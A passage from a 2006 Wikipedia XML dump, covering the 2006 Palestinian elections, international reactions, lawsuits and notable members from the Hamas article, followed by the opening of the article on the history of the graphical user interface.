While Hamas had boycotted the [[Palestinian presidential election, 2005|January 2005 presidential election]], during which [[Mahmoud Abbas]] was elected to replace [[Yasser Arafat]], it did participate to the [[Palestinian municipal election, 2005|municipal elections]] held between January and May 2005, in which it took control of [[Beit Lahia]] in Gaza, [[Qalqiliya]] in the West Bank and [[Rafah]]. The [[Palestinian legislative election, 2006|January 2006 legislative elections]] marqued another victory for Hamas, which gained the majority of seats, defeating the ruling [[Fatah]] party. The &quot;List of Change and Reform&quot;, as Hamas presented itself, obtained 42.9% of the vote and 76 of the 132 seats. &lt;ref&gt; [http://www.elections.ps/pdf/result_seat_distribution_EN.pdf] &lt;/ref&gt; &lt;ref&gt; [http://www.elections.ps/template.aspx?id=291] &lt;/ref&gt; [http://www.elections.ps]; according to Reuters 74 seats [http://today.reuters.com/news/newsArticle.aspx?type=worldNews&amp;storyID=2006-02-04T115145Z_01_L0459754_RTRUKOC_0_US-MIDEAST.xml&amp;archived=False]. Palestinian Prime Minister [[Ahmed Qurei]] and his cabinet resigned, leaving Hamas to form a new government. On February 19, Hamas chose [[Ismail Haniya]] as [[Prime Minister of the Palestinian National Authority|Prime minister of the PA]], and on the same day the government of Israel decided counter-measures against the new Hamas-led Palestinian Authority (suspension of $50 million transfer of tax-receipts). After the victory, Israeli Human Rights organizations have called on Hamas to stop its terror campaign against civilians and to avoid using violence as a tool to achieve a political solution.

[[Vladimir Putin|President Vladimir Putin]] said that Russia would not support any efforts to cut off financial assistance to the Palestinians, stating that Hamas gained power by democratic means. He invited some Hamas leaders to Moscow beginning of March 2006. However, the US [[Bush administration]] and the [[European Union]] have threatened to cut financial aid to the [[Palestinian Authority]] if Hamas members hold ministerial positions. On February 19, 2006, interim Israeli Prime minister [[Ehud Olmert]] decided to stop transfer of the $50 million tax-receipts to the PA, which accounts for a third of the PA's budget and insure the wages of 140 000 Palestinian civil servants (among them 60 000 security and police officers). It also decided to increase controls on check-points, but finally decided against blocking Palestinians from [[commuting]] between Gaza and the West Bank and from prohibiting to work in Israel.

The result of the election is regarded as a major setback for governments attempting to mediate the ongoing Israeli-Palestinian conflict. The United States has said that it will not deal with Hamas until it renounces its support of suicide bombings and terrorism, and accepts Israel's right to exist. Israeli president [[Moshe Katsav]] and Israel's ex-prime minister [[Shimon Peres]] have both said that, if Hamas will accept Israel's right to exist and give up terror, Israel should negotiate with the organization. &lt;/ref&gt; Although Hamas omitted its call for the destruction of Israel from its election manifesto, calling instead for &quot;the establishment of an independent state whose capital is [[Jerusalem]],&quot; several Hamas candidates insisted that the charter remains in force &lt;ref&gt; {{Citenews | title=Hamas drops call for destruction of Israel from manifesto | org=The Guardian | date=January 12, 2006 | url=http://www.guardian.co.uk/israel/Story/0,2763,1684472,00.html}} &lt;/ref&gt; &lt;ref&gt; {{Citenews | title=Hamas manifesto offers softer line ahead of vote | org=Yahoo News | date=January 12, 2006 | url=http://news.yahoo.com/s/nm/20060112/wl_nm/mideast_hamas_dc}} &lt;/ref&gt; &lt;ref&gt; {{Citenews | title=Hamas: Ceasefire for return to 1967 border | org=Y Net News | date=January 30, 2006 | url=http://www.ynetnews.com/articles/0,7340,L-3207845,00.html}} &lt;/ref&gt; On Feb 8, Hamas head Haled Mash'al speaking in Cairo had clarfied that &quot;&quot;Anyone who thinks Hamas will change is wrong,&quot; stating that while Hamas is willing for a ceasefire with Israel, its long term goal remains: elimination of Israel by Islam via a holy war ([[jihad]]) against non-Muslims in all of what he called [[Palestine]][http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2006/02/09/wmid09.xml&amp;sSheet=/news/2006/02/09/ixworld.html].

The [[Quartet for the Middle East|Quartet]] threatened to cut all funds to the Palestinian Authority, with only Russia warning against the potential dangers of cutting out the PA from any Occidental support. On the other hand, interim [[Prime Minister of Israel|Israeli Prime minister]] [[Ehud Olmert]], who called the PA a &quot;terrorist authority&quot; and declared that these measures &quot;were not against [[civilian]]s but against a terrorist power&quot;, decided on February 19, 2006 to stop transferring approximatively $50 millions tax receipts to the Palestinian Authority (which account for a third of the PA's budget). {{ref label|Reuters|1|a}} &lt;ref&gt; {{Citenews | title=Israel halts funds for Palestinians, Abbas slams move | org=Reuters | date=February 19, 2006 | url=http://today.reuters.com/news/NewsArticle.aspx?type=topNews&amp;storyID=uri:2006-02-19T204037Z_01_L17580155_RTRUKOC_0_US-MIDEAST.xml&amp;pageNumber=0&amp;summit=}} &lt;/ref&gt;. These measures were to be implemented start of March 2006. Criticizing them, moderate [[Labour Party (Israel)|Labour leader]] [[Amir Peretz]] said that they are &quot;indirect ways&quot; to &quot;get around Hamas and strengthen moderate forces&quot; among the Palestinians &lt;ref&gt; {{Citenews | title=Israel Threatens Tough Economic Sanctions | org=AP | date=February 17, 2006 | url=http://hosted.ap.org/dynamic/stories/I/ISRAEL_PALESTINIANS?SITE=WKHG&amp;SECTION=HOME&amp;TEMPLATE=DEFAULT}} &lt;/ref&gt;. Before the Israeli decision to cut transfer of tax receipts, Palestinian Assembly passed legislation giving to the Palestinian President, [[Mahmoud Abbas]], the power to appoint a court that could veto legislation passed by the new Hamas-led parliament to be sworn in start of February. The constitutional court would veto legislation deemed in violation of the Palestinians' Basic Law, a forerunner to the Palestinian constitution. Palestinian deputies also backed a [[decree]] which automatically makes members of the incoming parliament members of the [[Palestine Liberation Organisation]]'s (PLO) parliament in exile. Unlike the Hamas charter, the PLO charter recognises the legitimacy of Israel. &lt;ref&gt; {{Citenews | title=Palestinian Parliament Gives New Power | org=The Washington Post | date=February 13, 2006 | url=http://www.washingtonpost.com/wp-dyn/content/article/2006/02/13/AR2006021300259.html?sub=AR}} {{Citenews | title=Outgoing MPs boost Abbas' power | org=BBC News | date=February 13, 2006 | url=http://news.bbc.co.uk/1/hi/world/middle_east/4708820.stm}} &lt;/ref&gt;. Furthermore, in an interview in Russian newspaper ''[[Nezavisimaya Gazeta]]'', published on February 13, 2006, Hamas leader [[Khaled Mashal]] declared that Hamas would stop armed struggle against Israel if it recognized the 1967 borders and withdrew itself from all [[Palestinian territories|Palestinian occupied territories]] (including the West Bank and [[East Jerusalem]]). However, Mashal continued to refuse to acknowledge the [[Road map for peace]], adopted by the Quartet in [[June 2003]], &quot;since nobody respects it&quot;. The Road map projected the establishment of an independent Palestinian state in 2005. &lt;ref&gt; {{Citenews | title=Hamas will end armed struggle if Israel quits territories - leader | org=AFX News Limited | date=February 13, 2006 | url=http://www.forbes.com/home/feeds/afx/2006/02/12/afx2519867.html}}{{Citenews | title=Le Hamas pose ses conditions (&quot;Hamas states its conditions&quot;) | org=Le Figaro | date=February 13, 2006 | url=http://www.lefigaro.fr/international/20060213.FIG0288.html}} [http://www.ng-az.info ''Nezavisimaya Gazeta'' website] &lt;/ref&gt;.

Following Hamas' victory in the Palestinian elections EU announced that future aid to the Palestinians is tied to &quot;Three Principles&quot; outlined by the international community: 
* Hamas must renounce violence
* Hamas must recognize Israel right to exist
* Hamas must express clear support for the Middle East peace process, as outlined in the [[Oslo accords]].

==Legal action against Hamas==
In 2004, a federal court in the United States found Hamas liable in a civil lawsuit for the 1996 murders of Yaron and Efrat Ungar near [[Beit Shemesh]], [[Israel]].  Hamas has been ordered to pay the families of the Ungars $116 million. On  [[July 5]], [[2004]], the court issued a default judgment against the [[Palestinian Authority]] and the [[Palestine Liberation Organization|PLO]] regarding the Ungars' claim that the Palestinian Authority and the PLO provide [[safe haven]] to Hamas.

On [[August 20]], [[2004]], three Palestinians, one a naturalized American citizen, were charged with a &quot;lengthy racketeering conspiracy to provide money for [[terrorism|terrorist]] acts in Israel&quot;. The indicted include [[Mousa Mohammed Abu Marzook]], senior member of Hamas, believed to be currently in [[Damascus]], [[Syria]] and considered a [[fugitive]]. The two others &amp;mdash; [[Muhammad Hamid Khalil Salah]] of [[Chicago, Illinois]] and [[Abdelhaleem Hasan Abdelraziq Ashqar]] of Alexandria, Va. &amp;mdash; were arrested on [[August 19]]. The indictment states that Salah received $50,000 which was used over the course of the following three months to help Hamas finance eight terrorist attacks that resulted in the deaths of numerous Israeli civilians [http://story.news.yahoo.com/news?tmpl=story&amp;u=/ap/hamas_indictments][http://washingtontimes.com/national/20040820-113158-5933r.htm (Washington Times)].

On [[February 8]], 2006, Hamas has been successfully sued in an Israeli court. The Jerusalem District Court has awarded the Gavish family a judgment in the amount of N.I.S. 90 million ($20 million). Following an attack on their home which left four members of the household, including both parents, dead, six children brought suit in May 2002. Concerning its rationale for awarding the Gavish family punitive damages, the District Court wrote: 
: &quot;With no need to elaborate, I believe, that the current case is appropriate for awarding punitive compensation against the defendant. The sinful act of murder justifies such an award. It is a terrorist action, which was done with intent and full awareness to cause the death of the victims and the damage to their families, since there is no other explanation for this act. Behind the act is a pure hatred that brought about the death of the decedents and a very difficult and traumatic experience upon the plaintiffs - their survivors.&quot;[http://imra.org.il/story.php3?id=28444]

==List of notable Hamas members==
* [[Gaza Strip]]
** [[Sheikh Ahmed Yassin]] - spiritual leader and founder of Hamas ([http://www.guardian.co.uk/flash/0,5860,1175454,00.html assassinated by Israeli military operation], 2004)
** [[Abdel Aziz al-Rantissi|Dr. Abdel Aziz al-Rantissi]] - leader in Gaza ([http://english.aljazeera.net/NR/exeres/F6718419-88F8-48D0-A3F1-2E4A4F2817AC.htm assassinated by Israeli military operation], 2004)
** [[Ibrahim al-Makadmeh]] - co founder of Hamas ([http://weekly.ahram.org.eg/2003/629/re2.htm assassinated by Israeli military operation], 2003)
** [[Mahmoud al-Zahar]] - &quot;political wing&quot;
** [[Ismail Haniya]] - &quot;political wing&quot;
** [[Sa'id A-Siyam]] - &quot;political wing&quot;
** [[Ismail Abu Shanab]] - &quot;political wing&quot; ([http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&amp;contentId=A29070-2003Aug21&amp;notFound=true assassinated by Israeli military operation], 2003)
** [[Salah Shahade]] - leader of &quot;military wing&quot; ([http://www.cnn.com/2002/WORLD/meast/07/22/mideast/ assassinated by Israeli military operation], 2002)
** [[Mohammed Deif]] - leader of &quot;military wing&quot; 
** [[Adnan al-Ghoul]] - chief explosives expert in Gaza and &quot;father of the [[Qassam rocket]]&quot;[http://www.reuters.com/newsArticle.jhtml?type=worldNews&amp;storyID=6580807]([http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1098331916230 assassinated by Israeli military operation], 2004)
** [[Umm Nidal]] - &quot;the mother of martyrs&quot; 

* [[West Bank]]
** [[Mohammad Taha]] - co founder of Hamas (arrested by Israel, March 2003)
** [[Members of Hamas called Qawasameh|Qawasameh clan]] in [[Hebron]] - provided local leaders and suicide bombers to Hamas (some members killed by Israeli military operations, one arrested, 2002-2003)
** [[Yahya Ayyash]] - the &quot;Muhandees&quot;, a senior [[bomb]]-maker (assassinated by Israeli military operation, 1996)
** [[Muhammad Abu Tir]] - &quot;political wing&quot; senior leader

* Arab and Muslim countries
** [[Khaled Mashal]] - leader of Hamas, based in [[Damascus]].
** [[Mousa Abu Marzuk]] - Hamas senior, Damascus, believed to have fled [[Syria]] in September 2004. 
** [[Izz El-Deen Sheikh Khalil]] - Hamas mid-level, &quot;military wing&quot; (according to Israel) Damascus (assassinated by Israeli military operation, 2004)

&lt;!-- list is now sorted according to Israel's hierarchy, but there is a mess: (1) because some leaders were killed and than replaced by less senior leaders. (2) because it is difficult to compare the Gaza leadership to the Damascus leadership. --&gt;

== See also ==
* [[wikisource:Hamas Covenant|Hamas Covenant]]
* [[Hamastan]]
* [[Holy Land Foundation]]
* [[Sheikh Ahmed Yassin]]
* [[Qassam rocket]]
* [[Members of Hamas called Qawasameh]]
* [[Palestinian political violence]]
* [[PLO and Hamas]]

==Notes and references==
&lt;references/&gt;
*Kushner, Harvey W. (2002). ''Encyclopedia of Terrorism''. Sage Publications. ISBN 0761924086

==External links==
*[http://www.hamasonline.org/indexx.php?page=hamas Hamas official website (not updated since 2004)]
*[http://72.14.207.104/search?q=cache:btFiPAkN71kJ:www.alqassam.com/arabic/%20&amp;hl=en&amp;gl=us&amp;ct=clnk&amp;cd=1 Hamas military wing web site]
*[http://www.palestine-info.info/arabic/hamas/ Website for the study of the ideas of Hamas, not the official website.] In Arabic.
*[http://www.pmw.org.il/tv-hamas.htm Hamas in its own words]
*[http://www.palestine-info.co.uk/am/publish/ &quot;The Palestinian Information Center&quot;] Mideast news from the Hamas point of view. In English.
*[http://www.geocities.com/martinkramerorg/Excluded/Hamasbooks.htm Books on Hamas]
*[http://ict.org.il/organizations/orgdet.cfm?orgid=13 Hamas] at the [http://ict.org.il/ The Institute for Counter-Terrorism] at the Interdisciplinary Center Herzliya, Israel
*[http://www1.idf.il/DOVER/site/mainpage.asp?sl=EN&amp;id=7&amp;docid=30286.EN The Hamas organization is responsible for more than 425 terror attacks in Israel from November 6, 2000 to April 17, 2004] at [[IDF]]
*[http://www.memri.org/bin/articles.cgi?Page=subjects&amp;Area=conflict&amp;ID=SP42602 Suicide Bomber's Father: Let Hamas and Jihad Leaders Send Their Own Sons] a letter to the editor of the London Arabic-language daily Al-Hayat. October 8, 2002
*[http://www.adl.org/main_israel/hamas_facts.htm Hamas Fact Sheet] and [http://www.adl.org/main_israel/hamas_own_words.htm Hamas in Their Own Words] at [[Anti-Defamation League|ADL]]
*[http://cfrterrorism.org/groups/hamas.html Hamas] at [[Council on Foreign Relations]], October 2005
*[http://abcnews.go.com/International/print?id=79201 Frequently Asked Questions About Hamas] at ''[[ABC News]]''
*[http://www.defenddemocracy.org/in_the_media/in_the_media_show.htm?doc_id=274430 Springtime for Hamas] by Diane West at ''The Jewish World Review'', April 22, 2005
*[http://www.defenddemocracy.org/research_topics/research_topics_show.htm?doc_id=275458&amp;attrib_id=7777 Hamas vs. America] by [[Daniel Pipes]]. Published in ''[[The New York Sun]]'' on May 3, 2005
*[http://www.intelligence.org.il/eng/eng_n/isa.htm Hamas terrorist infrastructures in the regions of Hebron and Ramallah exposed by The Israel Security Agency], October 12, 2005
*[http://www.nationalreview.com/script/printpage.p?ref=/comment/ottolenghi200601261002.asp Hamas Without Veils. No more hiding behind the PA] by Emanuele Ottolenghi in ''[[National Review Online]]'', January 26, 2006 
*[http://www.socialistworld.net/eng/2006/01/29hamas.html Political earthquake strikes as Hamas wins landslide] by Kevin Simpson on [[Committee for a Workers' International|CWI]] Website, January 29, 2006
*[http://news.bbc.co.uk/2/hi/middle_east/4661066.stm BBC: Hamas urges EU not to end funding]
*[http://users.skynet.be/diab/Europe/Hamas.htm The EU's new Palestine dilemma by Khaled Diab]
*[http://www.obelus.org/index.php?artID=18 Checkmate: the Hamas victory]
*[http://www.axisglobe.com/article.asp?article=642 Russia is Ready for Dialogue With HAMAS]
*[http://www.washingtonpost.com/wp-dyn/content/article/2006/02/03/AR2006020302605_pf.html Give Hamas Nothing for Free] by [[Dennis Ross]]. (''[[The Washington Post]]'', p. B07. February 5, 2006)
*[http://www.historyguy.com/hamas.html Description and historical information on Hamas (Harakat al-Muqawama al-Islamiyya, or Islamic Resistance Movement.]

[[Category:Hamas|National Liberation Movements]]
[[Category:Israeli-Palestinian conflict]]
[[Category:Palestinian militant groups]]
[[Category:Political parties in Palestine]]
[[Category:Anti-Semitism]]

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    </revision>
  </page>
  <page>
    <title>History of the graphical user interface</title>
    <id>13914</id>
    <revision>
      <id>40845409</id>
      <timestamp>2006-02-23T11:00:03Z</timestamp>
      <contributor>
        <username>Kcordina</username>
        <id>643099</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/195.194.168.80|195.194.168.80]] to last version by Kcordina</comment>
      <text xml:space="preserve">{{History of computing}}
The '''[[graphical user interface]]''', or '''&quot;GUI&quot;''' (pronounced ''&quot;gooey&quot;''), is a computer interface that uses graphic icons and controls in addition to text.  The user of the computer utilizes a [[pointing device]], like a mouse, to manipulate these icons and controls.  This is considerably different from the [[command line interface]] in which the user types a series of text commands to the computer.

== Initial Developments ==
The first concept of a windowing system begins with the first real-time graphic display systems for computers, namely the [[SAGE Project]] and [[Ivan Sutherland]]'s [[Sketchpad]].

== Augmentation of Human Intellect (NLS) ==
[[Image:On_Line_System_FJCC_1968.jpg|thumb|[[NLS (computer system)|On-Line System]] (1968)]]
[[Doug Engelbart]]'s [[Augmentation of Human Intellect]] project at [[Stanford Research Institute|SRI]] in the [[1960s]] developed the [[NLS (computer system)|On-Line System]] (NLS), which incorporated a mouse-driven cursor and multiple windows. Engelbart had been inspired, in part, by the [[memex]] desk based information machine suggested by [[Vannevar Bush]] in 1945. Much of the early research was based on how young humans learn.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;

== Xerox PARC ==
[[Image:Xerox_star_desktop.jpg|thumb|right|[[Xerox PARC]]]]
Engelbart's work directly led to the advances at [[Xerox]] [[PARC]]. Several people went from SRI to [[Xerox PARC]] in the early [[1970]]'s. The Xerox PARC team with Merzouga Wilberts, codified the [[WIMP (computing)|WIMP]] (windows, icons, menus and pointers) paradigm, first pioneered on the [[Xerox Alto]] experimental computer, but which eventually appeared commercially in the [[Xerox Star|Xerox 8010]] ('Star') system in [[1981]]. &lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;

== Apple Lisa and Macintosh ==
[[Image:Apple_Macintosh_Desktop.png|thumb|right|[[Mac OS|Macintosh]] Desktop (1984)]]
{{main article|[[Mac OS history]]}}

Beginning in [[1979]], started by [[Steve Jobs]] and led by [[Jef Raskin]], the [[Apple Lisa|Lisa]] and [[Apple Macintosh|Macintosh]] teams at [[Apple Computer]] (which included former members of the Xerox PARC group) continued to develop such ideas.  The Macintosh, released in 1984, was the first commercially successful product to use a GUI. A [[desktop metaphor]] was used, in which files looked like pieces of paper; directories looked like file folders; there were a set of [[Desk Accessory|desk accessories]] like a calculator, notepad, and alarm clock that the user could place around the screen as desired; and the user could delete files and folders by dragging them to a trash can on the screen. Drop down menus were also introduced.

There is still some controversy over the amount of influence that Xerox's [[PARC]] work, as opposed to previous academic research, had on the GUIs of Apple's [[Apple Lisa|Lisa]] and [[Apple Macintosh|Macintosh]], but it is clear that the influence was extensive, because first versions of Lisa GUIs even lacked icons. These prototype GUIs are at least mouse driven, but ignored completely WIMP concept. Rare screenshots of first GUIs of Apple Lisa prototypes are shown [http://www.pegasus3d.com/apple_screens.html here]. Note also that Apple was invited by PARC to view their research, and a number of PARC employees subsequently moved to Apple to work on the Lisa and Macintosh GUI. However, the Apple work extended PARC's considerably, adding windows that can be overlapped, manipulable icons and a fixed menu bar and direct manipulation of objects in the file system (see [[Macintosh Finder]]) for example. The modern GUI as we know it owes as much or more to Apple as it does to PARC - it is incorrect to claim that Apple &quot;copied&quot; or &quot;stole&quot; PARC's work. A good article pointing out many of the significant improvements that Apple brought to the GUI over PARC's implementation can be read [http://www.folklore.org/StoryView.py?project=Macintosh&amp;story=On_Xerox,_Apple_and_Progress.txt&amp;topic=Software%20Design&amp;sortOrder=Sort%20by%20Date here] (folklore.org)

The Macintosh's GUI has been frequently revised with time since 1984, with major updates including [[System 7 (Macintosh)|System 7]], and underwent its largest revision with the introduction of the &quot;Aqua&quot; interface in 2001's [[Mac OS X]].

== DESQview ==
[[DESQview]] was a [[text mode]] multitasking program introduced in July 1985. Running on top of MS DOS, it allowed users to run multiple DOS programs concurrently in windows. It was the first program to bring multitasking and windowing capabilities to a DOS environment in which existing DOS programs could be used. DESQview was not a true GUI but offered certain components of one, such as resizable, overlapping windows and mouse pointing.

== GEM ==
[[Image:Atari_TOS_1_0.png|thumb|right|[[Graphical Environment Manager|GEM]] on the [[Atari ST]] (1985)]]
At the same time Microsoft was developing Windows in the [[1980]]s, [[Digital Research]] developed the [[GEM Desktop]] GUI system.  GEM was created as an alternative window system to run on IBM PC systems, either on top of MS-DOS (like Microsoft Windows) or on top of [[CPM-86]], DR's own operating system that MS-DOS was patterned after.  GEM achieved minimal success in the PC world, but was later used as the native GUI on the [[Atari ST]] machines.  Gem provoked and succumbed to the first &quot;look and feel&quot; lawsuit by [[Apple Computer]].
&lt;br clear=&quot;all&quot; /&gt;

== Amiga Intuition ==
[[Image:Amiga_Workbench_1_3_large.png|thumb|[[Amiga]] [[AmigaOS|Workbench]] (1985)]]
The [[Amiga]] computer was launched by [[Commodore International|Commodore]] in [[1985]] with a GUI called [[Workbench]] based on an internal engine which drives all the input events called [[Intuition (amiga)|Intuition]], and developed almost entirely by [[RJ Mical]]. Users may remember the initial releases for their garish blue/orange/white/black palettes, selected for high contrast. The Amiga team chose it, basing their job on direct experiences made to obtain better contrast solution using even the worst televisions the team could find. [[Workbench]] presented directories as &quot;drawers&quot;  because the idea was to present them as drawers of a virtual desktop just called ''Work... bench''.

Intuition was the widget and graphics library that made the whole thing work. It was driven by user events through the mouse, keyboard, and other input devices. Intuition also arbitrated collisions of mousepointer and icons, controlled the &quot;animated icons&quot; in Amiga, etcetera.

Due to a mistake made by the Commodore sales department, the first floppies of AmigaOS which were released with Amiga1000 named the whole OS &quot;Workbench&quot;. Since then, users and CBM itself referred to &quot;Workbench&quot; as the nickname for the whole AmigaOS (including Amiga DOS, Extras, etc.). This common consent ended with release of version 2.0 of AmigaOS, which re-introduced proper names to the installation floppies of AmigaDOS, Workbench, Extras, etc.).

Workbench is also used on the Amiga as a metaphor for their own standard of &quot;[[desktop metaphor|desktop]]&quot; as opposed to others, such as &quot;[[Macintosh Finder|Macintosh Finder]]&quot;. Workbench itself is another library or process. Rumors said that this concept of modularity was invented by Commodore to treat Workbench as a window amongst the others in the desktop, in order to avoid reprisal from Apple. But this can only be considered a rumor, as all patents on windowed GUIs were property of [[Xerox]] at that time.

Early versions of AmigaOS did treat the Workbench as just another window on top of a blank screen; but this is due to the ability of AmigaOS to have invisible screens with a [[chromakey]] or a [[genlock]] -- one of the best features of Amiga platform -- even without losing the visibility of Workbench itself. In later AmigaOS versions Workbench could be set as a borderless desktop.

Amiga users were also able to boot their computer into a [[CLI]] (aka. [[Shell (computing)|shell]]). This was a keyboard-based environment without the Workbench GUI. Later they could invoke it with the CLI/SHELL command '''LoadWB''' which performs the task to load Workbench GUI.

Like most GUIs of the day, Amiga's Intuition followed Xerox, and sometimes also Apple's lead anteceding solutions, but pragmatically, a [[Command line interface|CLI]] was also included and it extended dramatically the functionality of the platform. Later releases added more improvements, like support for high-color Workbenchs screens, 3D aspect, etcetera. Often Amiga users preferred alternative interfaces to standard Workbench, such as [[Directory Opus]], or [[ScalOS]] interface. An interesting article about these replacements is available [http://abalaban.free.fr/wb.html here] (in french language).

The use of improved, third party GUI engines became common amongst users who preferred more attractive interfaces -- such as [[MUI]] (Magic User Interface), and [[Reaction]]. [[Image:AmigaOS_3_9_Workbench.jpg|thumb|AmigaWB (2000). Use of O.O. graphic engines (Reaction) dramaticaly changes look&amp;feel of a GUI to match actual styleguides.]] These Object Oriented graphic engines driven by &quot;classes&quot; of graphic objects and functions were then standardized into the Amiga environment and changed Amiga Workbench to a complete and modern guided interface, with new standard gadgets, animated buttons, true 24bit-color icons, increased use of wallpapers for screens and windows, alpha channel, transparencies and shadows as any modern GUI requires.

Heirs of Workbench are nowadays: [[Ambient]] for [[MorphOS]], ScalOS, Workbench for [[AmigaOS 4.0]] and [[Wanderer]] for [[AROS]].
There is a brief article on ambient and descriptions of MUI icons, menus and gadget [http://www.aps.fr/article/ambient.html here] (aps.fr) and images of Zune stay at main [http://aros.sourceforge.net/pictures/screenshots/ AROS site].

As from 2005 Amiga O.O. graphic engines entered a new stage in its history with [[Feelin]] an O.O.S. available for all Amiga-like systems (AmigaOS, MorphOS, AROS) which accomplishes exetensively with [[XML]] guidelines, it handles a memory management system of its own and its memory-pools system share embedded OS semaphores. Also this O.O. system features a non centralized ID allocation system, a crash-free object invocation mechanism, and even an advanced logging system. Images of this O.O.S. can be found at its [http://www.gofromiel.com/feelin/screens.php main site].

== Microsoft Windows ==
[[Image:Microsoft_Windows_1_01_screen.gif|thumb|right|[[Windows 1.0]] (1985)]]
[[Image:Windows_3.11_workspace.png|thumb|right|[[Windows 3.11]] (1990)]]
[[Microsoft]] modeled the first version of [[Microsoft Windows|Windows]], released in [[1985]], on the GUI of the [[Mac OS]].  [[Windows 1.0]] was a GUI (graphic user interface) for the [[MS-DOS]] [[operating system]] that had been the OS of choice for [[IBM PC]] and compatible computers since [[1981]]. [[Windows 2.0]] followed, but it wasn't until the 1990 launch of [[Windows 3.0]], based on [[Common User Access]] that its popularity truly exploded.  The GUI has seen major and minor redesigns since, notably the addition of [[Spatial file manager|spatial file management]] capabilities akin to the [[Macintosh Finder]] in [[Windows 95]], known as the [[Windows Explorer]]; the contentious web browser integration in [[Windows 98]]; the subsequent transition away from spatial file management more towards a single-window, task-based interface with [[Windows XP]]; and the removal of the browser integration in [[Windows Vista]].

Windows traditionally differed from other GUIs in that it encouraged using applications maximized, as evident even in this early Windows 1.01 screenshot. The users usually switch between maximized applications using Alt+Tab keyboard shortcut or by clicking on a Taskbar listing all open applications, as opposed to clicking on a partially visible window, as is more common in some other GUIs.

In 1988, Apple sued Microsoft for copyright infringement of the [[Apple Lisa|LISA]] and [[Apple Macintosh]] GUI.  The court case lasted 4 years before almost all of Apple's claims were denied on a contractual technicality.  Subsequent appeals by Apple were also denied, and Microsoft and Apple apparently entered a final, private settlement of the matter in 1997 as a side note in a broader announcement of investment and cooperation.

{{Clr}}

== GEOS == [[Image:GeOS_Commodore_64.gif|thumb|right|[[GEOS (8-bit operating system)|GEOS]] for the [[Commodore 64]] (1986)]][[GEOS (8-bit operating system)|GEOS]] was another very early graphical desktop system. Originally written for the 8 bit home computer [[Commodore 64]] it was later ported to IBM PC systems. It came with several application programs like a calendar and word processor, and a cut-down version served as the basis for [[America Online]]'s DOS client.  Compared to the competing Windows 3.0 GUI, it could run reasonably well on simpler hardware.

Revivals were seen in the [[HP OmniGo]] handhelds, [[Brother GeoBook]] line of laptop-appliances, and the [[New Deal Office]] package for PCs.  Related code found its way to earlier '[[Zoomer]]' PDAs, creating an unclear lineage to [[Palm, Inc.]]'s later work. [[Nokia]] used GEOS as a base operating system for their [[Nokia Communicator]] series, before switching to [[EPOC (computing)|EPOC]] ([[Symbian]]).

== RISC OS ==
[[Image:AcornArthur110desktopsmall.png|thumb|[[Arthur (operating system)|Arthur]] Desktop]]
[[Image:MacOSthemeonSelect.png|thumb|[[RISC OS]] Select Desktop]]
Early versions of what became called [[RISC OS]] were known as [[Arthur (operating system)|Arthur]], which was released in 1987 by Acorn Computers. RISC OS was a colour GUI operating system which used three-button mice, a taskbar (called the iconbar), and a file navigator similar to that of Mac OS. [[Acorn Computers Ltd|Acorn]] created RISC OS in the 1980s for their [[ARM architecture|ARM]]-[[central processing unit|CPU]] based computers.
The GUI of RISC OS has developed over versions of RISC OS from 1987 to the present day with version 4.39 having a great ability to customise the interface.
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== NeXTSTEP ==
[[Image:NeXTSTEP_desktop.jpg|thumb|[[NEXTSTEP|NeXTSTEP]] Desktop]]
The [[NEXTSTEP|NeXTSTEP]] user interface was used in the [[NeXT]] line of computers. NeXTSTEP's first major version was released in [[1989]]. It used [[Display PostScript]] for its graphical underpinning.  The NeXTSTEP interface's most significant feature was the [[Dock (computing)|Dock]], carried with some modification into [[Mac OS X]], and had other minor interface details that some found made it easier and more intuitive to use than previous GUIs.  NeXTSTEP's GUI was the first to feature opaque dragging of windows in its user interface, on a comparatively weak machine by today's standards. 
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== OS/2 ==
[[Image:OS2_workplace_shell.png|thumb|[[OS/2]] Workplace Shell]]
Originally collaboratively developed by Microsoft and IBM to replace DOS, [[OS/2]] version 1.0 (released in 1987) had no GUI at all. Version 1.1 (released 1988) included Presentation Manager (PM), which looked a lot like the later Windows 3.0 UI. After the split with Microsoft, IBM developed the [[Workplace Shell]] (WPS) for version 2.0 (released in 1992), a quite radical, object-oriented approach to GUIs. Microsoft later imitated much of this in Windows 95. 
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== BeOS ==
[[Image:BeOS_Desktop.png|thumb|[[BeOS]] Desktop]]
[[BeOS]] was developed on custom [[AT&amp;T Hobbit]]-based computers before switching to [[PowerPC]] hardware by a team lead by former Apple executive [[Jean-Louis Gassée]] as an alternative to the Macintosh OS and GUI. BeOS was later ported to Intel hardware. It used an object-oriented kernel written by Be, and did not use the [[X Window System]], but a different [[GUI]] written from scratch. Much effort was spent by the developers to make it an efficient platform for multimedia applications. Be Inc. was [http://news.com.com/2102-1040_3-271718.html?tag=st.util.print acquired] by [[PalmSource, Inc.]] (Palm Inc. at the time) in 2001.
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== NeWS ==
The [[Display PostScript]]-based [[NeWS]] (Network extensible Window System) was developed by [[Sun Microsystems]].  For several years [[SunOS]] included a window system combining NeWS and the [[X Window System]].  Although NeWS was considered technically elegant by some commentators, Sun eventually dropped the product. Unlike X, NeWS was always [[proprietary software]].

== The X Window System ==
[[Image:X-Windows_Desktop.gif|thumb|[[X11]] Desktop (running the [[Window Maker]] [[window manager]]).]]

The standard windowing system in the Unix world, developed in the early 1980s, is the [[X Window System]] (commonly X11 or X).  X was developed at MIT as [[Project Athena]].  Its original purpose was to allow users of the newly emerging graphic terminals to access remote graphics workstations, without regard to the workstation's operating system or the hardware.  Due largely to the availability of the source code used to write X, it has become the standard layer for management of graphical and input/output devices and for the building of both local and remote graphical interfaces on virtually all [[Unix]], [[Linux]] and [[Unix-like]] operating systems.

X allows a graphical terminal user to make use of remote resources on the network as if they were all located locally to the user by running a single module of software called the X server.  The software running on the remote machine is called the client application.  X's network transparency protocols allow the display and input portions of any application to be separated from the remainder of the application and 'served up' to any of a large number of remote users.

